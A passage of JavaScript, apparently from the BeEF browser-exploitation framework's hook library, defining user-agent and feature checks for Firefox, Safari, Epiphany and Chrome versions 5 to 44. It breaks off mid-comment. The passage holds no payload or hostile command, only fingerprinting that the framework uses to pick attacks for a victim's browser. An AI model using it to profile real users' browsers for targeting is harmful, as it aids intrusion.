  6213.      * Returns true if the browser is any version of Firefox.
  6214.      * @example: beef.browser.isFFbowser()
  6215.     */
  6216.     isFFbowser: function () {
  6217.         const parser = bowser.getParser(navigator.userAgent);
  6218.         const browserName = parser.getBrowserName();
  6219.         return browserName == 'Firefox';
  6220.     },
  6221.  
  6222.     /**
  6223.      * Returns true if the browser is any version of Firefox.
  6224.      * @example: beef.browser.isFF()
  6225.      */
  6226.     isFF: function () {
  6227.         var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();
  6228.         return legacyCheck || this.isFFbowser();
  6229.     },
  6230.  
  6231.     /**
  6232.      * Returns true if Safari 4.xx
  6233.      * @example: beef.browser.isS4()
  6234.      */
  6235.     isS4: function () {
  6236.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  6237.     },
  6238.  
  6239.     /**
  6240.      * Returns true if Safari 5.xx
  6241.      * @example: beef.browser.isS5()
  6242.      */
  6243.     isS5: function () {
  6244.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  6245.     },
  6246.  
  6247.     /**
  6248.      * Returns true if Safari 6.xx
  6249.      * @example: beef.browser.isS6()
  6250.      */
  6251.     isS6: function () {
  6252.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  6253.     },
  6254.  
  6255.     /**
  6256.      * Returns true if Safari 7.xx
  6257.      * @example: beef.browser.isS7()
  6258.      */
  6259.     isS7: function () {
  6260.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  6261.     },
  6262.  
  6263.     /**
  6264.      * Returns true if Safari 8.xx
  6265.      * @example: beef.browser.isS8()
  6266.      */
  6267.     isS8: function () {
  6268.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  6269.     },
  6270.  
  6271.     /**
  6272.      * Returns true if Safari.
  6273.      * @example: beef.browser.isS()
  6274.      */
  6275.     isS: function () {
  6276.         return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
  6277.     },
  6278.  
  6279.     /**
  6280.      * Returns true if Webkit based
  6281.      */
  6282.  
  6283.  
  6284.     isWebKitBased: function () {
  6285.         /*
  6286.         * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
  6287.         */
  6288.         return (!window.opera && !window.chrome
  6289.                 && window.navigator.userAgent.match(/ Version\/\d/) != null
  6290.                 && !window.globalStorage
  6291.                 && !!window.getComputedStyle
  6292.                 && !("MozWebSocket" in window));
  6293.     },
  6294.  
  6295.     /**
  6296.      * Return true if Epiphany
  6297.      * @example: beef.browser.isEpi()
  6298.      */
  6299.     isEpi: function () {
  6300.         // Epiphany is based on webkit
  6301.         // due to the uncertainty of webkit version vs Epiphany versions tracking.
  6302.         // -- do webkit based checking (i.e. do safari checks)
  6303.         return this.isWebKitBased() &&  window.navigator.userAgent.match(/Epiphany\//) != null;
  6304.     },
  6305.  
  6306.  
  6307.     /**
  6308.      * Returns true if Chrome 5.
  6309.      * @example: beef.browser.isC5()
  6310.      */
  6311.     isC5: function () {
  6312.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
  6313.     },
  6314.  
  6315.     /**
  6316.      * Returns true if Chrome 6.
  6317.      * @example: beef.browser.isC6()
  6318.      */
  6319.     isC6: function () {
  6320.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
  6321.     },
  6322.  
  6323.     /**
  6324.      * Returns true if Chrome 7.
  6325.      * @example: beef.browser.isC7()
  6326.      */
  6327.     isC7: function () {
  6328.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
  6329.     },
  6330.  
  6331.     /**
  6332.      * Returns true if Chrome 8.
  6333.      * @example: beef.browser.isC8()
  6334.      */
  6335.     isC8: function () {
  6336.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
  6337.     },
  6338.  
  6339.     /**
  6340.      * Returns true if Chrome 9.
  6341.      * @example: beef.browser.isC9()
  6342.      */
  6343.     isC9: function () {
  6344.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
  6345.     },
  6346.  
  6347.     /**
  6348.      * Returns true if Chrome 10.
  6349.      * @example: beef.browser.isC10()
  6350.      */
  6351.     isC10: function () {
  6352.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
  6353.     },
  6354.  
  6355.     /**
  6356.      * Returns true if Chrome 11.
  6357.      * @example: beef.browser.isC11()
  6358.      */
  6359.     isC11: function () {
  6360.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
  6361.     },
  6362.  
  6363.     /**
  6364.      * Returns true if Chrome 12.
  6365.      * @example: beef.browser.isC12()
  6366.      */
  6367.     isC12: function () {
  6368.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
  6369.     },
  6370.  
  6371.     /**
  6372.      * Returns true if Chrome 13.
  6373.      * @example: beef.browser.isC13()
  6374.      */
  6375.     isC13: function () {
  6376.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
  6377.     },
  6378.  
  6379.     /**
  6380.      * Returns true if Chrome 14.
  6381.      * @example: beef.browser.isC14()
  6382.      */
  6383.     isC14: function () {
  6384.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
  6385.     },
  6386.  
  6387.     /**
  6388.      * Returns true if Chrome 15.
  6389.      * @example: beef.browser.isC15()
  6390.      */
  6391.     isC15: function () {
  6392.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
  6393.     },
  6394.  
  6395.     /**
  6396.      * Returns true if Chrome 16.
  6397.      * @example: beef.browser.isC16()
  6398.      */
  6399.     isC16: function () {
  6400.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
  6401.     },
  6402.  
  6403.     /**
  6404.      * Returns true if Chrome 17.
  6405.      * @example: beef.browser.isC17()
  6406.      */
  6407.     isC17: function () {
  6408.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
  6409.     },
  6410.  
  6411.     /**
  6412.      * Returns true if Chrome 18.
  6413.      * @example: beef.browser.isC18()
  6414.      */
  6415.     isC18: function () {
  6416.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
  6417.     },
  6418.  
  6419.     /**
  6420.      * Returns true if Chrome 19.
  6421.      * @example: beef.browser.isC19()
  6422.      */
  6423.     isC19: function () {
  6424.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
  6425.     },
  6426.  
  6427.     /**
  6428.      * Returns true if Chrome for iOS 19.
  6429.      * @example: beef.browser.isC19iOS()
  6430.      */
  6431.     isC19iOS: function () {
  6432.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
  6433.     },
  6434.  
  6435.     /**
  6436.      * Returns true if Chrome 20.
  6437.      * @example: beef.browser.isC20()
  6438.      */
  6439.     isC20: function () {
  6440.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
  6441.     },
  6442.  
  6443.     /**
  6444.      * Returns true if Chrome for iOS 20.
  6445.      * @example: beef.browser.isC20iOS()
  6446.      */
  6447.     isC20iOS: function () {
  6448.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
  6449.     },
  6450.  
  6451.     /**
  6452.      * Returns true if Chrome 21.
  6453.      * @example: beef.browser.isC21()
  6454.      */
  6455.     isC21: function () {
  6456.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
  6457.     },
  6458.  
  6459.     /**
  6460.      * Returns true if Chrome for iOS 21.
  6461.      * @example: beef.browser.isC21iOS()
  6462.      */
  6463.     isC21iOS: function () {
  6464.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
  6465.     },
  6466.  
  6467.     /**
  6468.      * Returns true if Chrome 22.
  6469.      * @example: beef.browser.isC22()
  6470.      */
  6471.     isC22: function () {
  6472.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
  6473.     },
  6474.  
  6475.     /**
  6476.      * Returns true if Chrome for iOS 22.
  6477.      * @example: beef.browser.isC22iOS()
  6478.      */
  6479.     isC22iOS: function () {
  6480.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
  6481.     },
  6482.  
  6483.     /**
  6484.      * Returns true if Chrome 23.
  6485.      * @example: beef.browser.isC23()
  6486.      */
  6487.     isC23: function () {
  6488.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
  6489.     },
  6490.  
  6491.     /**
  6492.      * Returns true if Chrome for iOS 23.
  6493.      * @example: beef.browser.isC23iOS()
  6494.      */
  6495.     isC23iOS: function () {
  6496.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
  6497.     },
  6498.  
  6499.     /**
  6500.      * Returns true if Chrome 24.
  6501.      * @example: beef.browser.isC24()
  6502.      */
  6503.     isC24: function () {
  6504.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
  6505.     },
  6506.  
  6507.     /**
  6508.      * Returns true if Chrome for iOS 24.
  6509.      * @example: beef.browser.isC24iOS()
  6510.      */
  6511.     isC24iOS: function () {
  6512.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
  6513.     },
  6514.  
  6515.     /**
  6516.      * Returns true if Chrome 25.
  6517.      * @example: beef.browser.isC25()
  6518.      */
  6519.     isC25: function () {
  6520.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
  6521.     },
  6522.  
  6523.     /**
  6524.      * Returns true if Chrome for iOS 25.
  6525.      * @example: beef.browser.isC25iOS()
  6526.      */
  6527.     isC25iOS: function () {
  6528.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
  6529.     },
  6530.  
  6531.     /**
  6532.      * Returns true if Chrome 26.
  6533.      * @example: beef.browser.isC26()
  6534.      */
  6535.     isC26: function () {
  6536.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
  6537.     },
  6538.  
  6539.     /**
  6540.      * Returns true if Chrome for iOS 26.
  6541.      * @example: beef.browser.isC26iOS()
  6542.      */
  6543.     isC26iOS: function () {
  6544.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
  6545.     },
  6546.  
  6547.     /**
  6548.      * Returns true if Chrome 27.
  6549.      * @example: beef.browser.isC27()
  6550.      */
  6551.     isC27: function () {
  6552.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
  6553.     },
  6554.  
  6555.     /**
  6556.      * Returns true if Chrome for iOS 27.
  6557.      * @example: beef.browser.isC27iOS()
  6558.      */
  6559.     isC27iOS: function () {
  6560.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
  6561.     },
  6562.  
  6563.     /**
  6564.      * Returns true if Chrome 28.
  6565.      * @example: beef.browser.isC28()
  6566.      */
  6567.     isC28: function () {
  6568.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
  6569.     },
  6570.  
  6571.     /**
  6572.      * Returns true if Chrome for iOS 28.
  6573.      * @example: beef.browser.isC28iOS()
  6574.      */
  6575.     isC28iOS: function () {
  6576.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
  6577.     },
  6578.  
  6579.     /**
  6580.      * Returns true if Chrome 29.
  6581.      * @example: beef.browser.isC29()
  6582.      */
  6583.     isC29: function () {
  6584.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
  6585.     },
  6586.  
  6587.     /**
  6588.      * Returns true if Chrome for iOS 29.
  6589.      * @example: beef.browser.isC29iOS()
  6590.      */
  6591.     isC29iOS: function () {
  6592.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
  6593.     },
  6594.  
  6595.     /**
  6596.      * Returns true if Chrome 30.
  6597.      * @example: beef.browser.isC30()
  6598.      */
  6599.     isC30: function () {
  6600.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
  6601.     },
  6602.  
  6603.     /**
  6604.      * Returns true if Chrome for iOS 30.
  6605.      * @example: beef.browser.isC30iOS()
  6606.      */
  6607.     isC30iOS: function () {
  6608.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
  6609.     },
  6610.  
  6611.     /**
  6612.      * Returns true if Chrome 31.
  6613.      * @example: beef.browser.isC31()
  6614.      */
  6615.     isC31: function () {
  6616.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
  6617.     },
  6618.  
  6619.     /**
  6620.      * Returns true if Chrome for iOS 31.
  6621.      * @example: beef.browser.isC31iOS()
  6622.      */
  6623.     isC31iOS: function () {
  6624.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
  6625.     },
  6626.  
  6627.     /**
  6628.      * Returns true if Chrome 32.
  6629.      * @example: beef.browser.isC32()
  6630.      */
  6631.     isC32: function () {
  6632.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
  6633.     },
  6634.  
  6635.     /**
  6636.      * Returns true if Chrome for iOS 32.
  6637.      * @example: beef.browser.isC32iOS()
  6638.      */
  6639.     isC32iOS: function () {
  6640.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
  6641.     },
  6642.  
  6643.     /**
  6644.      * Returns true if Chrome 33.
  6645.      * @example: beef.browser.isC33()
  6646.      */
  6647.     isC33: function () {
  6648.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
  6649.     },
  6650.  
  6651.     /**
  6652.      * Returns true if Chrome for iOS 33.
  6653.      * @example: beef.browser.isC33iOS()
  6654.      */
  6655.     isC33iOS: function () {
  6656.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
  6657.     },
  6658.  
  6659.     /**
  6660.      * Returns true if Chrome 34.
  6661.      * @example: beef.browser.isC34()
  6662.      */
  6663.     isC34: function () {
  6664.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
  6665.     },
  6666.  
  6667.     /**
  6668.      * Returns true if Chrome for iOS 34.
  6669.      * @example: beef.browser.isC34iOS()
  6670.      */
  6671.     isC34iOS: function () {
  6672.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
  6673.     },
  6674.  
  6675.     /**
  6676.      * Returns true if Chrome 35.
  6677.      * @example: beef.browser.isC35()
  6678.      */
  6679.     isC35: function () {
  6680.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
  6681.     },
  6682.  
  6683.     /**
  6684.      * Returns true if Chrome for iOS 35.
  6685.      * @example: beef.browser.isC35iOS()
  6686.      */
  6687.     isC35iOS: function () {
  6688.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
  6689.     },
  6690.  
  6691.     /**
  6692.      * Returns true if Chrome 36.
  6693.      * @example: beef.browser.isC36()
  6694.      */
  6695.     isC36: function () {
  6696.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
  6697.     },
  6698.  
  6699.     /**
  6700.      * Returns true if Chrome for iOS 36.
  6701.      * @example: beef.browser.isC36iOS()
  6702.      */
  6703.     isC36iOS: function () {
  6704.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
  6705.     },
  6706.  
  6707.     /**
  6708.      * Returns true if Chrome 37.
  6709.      * @example: beef.browser.isC37()
  6710.      */
  6711.     isC37: function () {
  6712.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
  6713.     },
  6714.  
  6715.     /**
  6716.      * Returns true if Chrome for iOS 37.
  6717.      * @example: beef.browser.isC37iOS()
  6718.      */
  6719.     isC37iOS: function () {
  6720.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
  6721.     },
  6722.  
  6723.     /**
  6724.      * Returns true if Chrome 38.
  6725.      * @example: beef.browser.isC38()
  6726.      */
  6727.     isC38: function () {
  6728.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
  6729.     },
  6730.  
  6731.     /**
  6732.      * Returns true if Chrome for iOS 38.
  6733.      * @example: beef.browser.isC38iOS()
  6734.      */
  6735.     isC38iOS: function () {
  6736.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
  6737.     },
  6738.  
  6739.     /**
  6740.      * Returns true if Chrome 39.
  6741.      * @example: beef.browser.isC39()
  6742.      */
  6743.     isC39: function () {
  6744.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
  6745.     },
  6746.  
  6747.     /**
  6748.      * Returns true if Chrome for iOS 39.
  6749.      * @example: beef.browser.isC39iOS()
  6750.      */
  6751.     isC39iOS: function () {
  6752.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
  6753.     },
  6754.  
  6755.     /**
  6756.      * Returns true if Chrome 40.
  6757.      * @example: beef.browser.isC40()
  6758.      */
  6759.     isC40: function () {
  6760.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
  6761.     },
  6762.  
  6763.     /**
  6764.      * Returns true if Chrome for iOS 40.
  6765.      * @example: beef.browser.isC40iOS()
  6766.      */
  6767.     isC40iOS: function () {
  6768.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
  6769.     },
  6770.  
  6771.     /**
  6772.      * Returns true if Chrome 41.
  6773.      * @example: beef.browser.isC41()
  6774.      */
  6775.     isC41: function () {
  6776.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
  6777.     },
  6778.  
  6779.     /**
  6780.      * Returns true if Chrome for iOS 41.
  6781.      * @example: beef.browser.isC41iOS()
  6782.      */
  6783.     isC41iOS: function () {
  6784.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
  6785.     },
  6786.  
  6787.     /**
  6788.      * Returns true if Chrome 42.
  6789.      * @example: beef.browser.isC42()
  6790.      */
  6791.     isC42: function () {
  6792.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
  6793.     },
  6794.  
  6795.     /**
  6796.      * Returns true if Chrome for iOS 42.
  6797.      * @example: beef.browser.isC42iOS()
  6798.      */
  6799.     isC42iOS: function () {
  6800.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
  6801.     },
  6802.  
  6803.     /**
  6804.      * Returns true if Chrome 43.
  6805.      * @example: beef.browser.isC43()
  6806.      */
  6807.     isC43: function () {
  6808.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
  6809.     },
  6810.  
  6811.     /**
  6812.      * Returns true if Chrome for iOS 43.
  6813.      * @example: beef.browser.isC43iOS()
  6814.      */
  6815.     isC43iOS: function () {
  6816.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
  6817.     },
  6818.  
  6819.     /**
  6820.      * Returns true if Chrome 44.
  6821.      * @example: beef.browser.isC44()
  6822.      */
  6823.     isC44: function () {
  6824.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
  6825.     },
  6826.  
  6827.     /**
  6828.      * Returns true if Chrome for iOS 44.
  6829.      * @example: beef.browser.isC44iOS()
  6830.      */
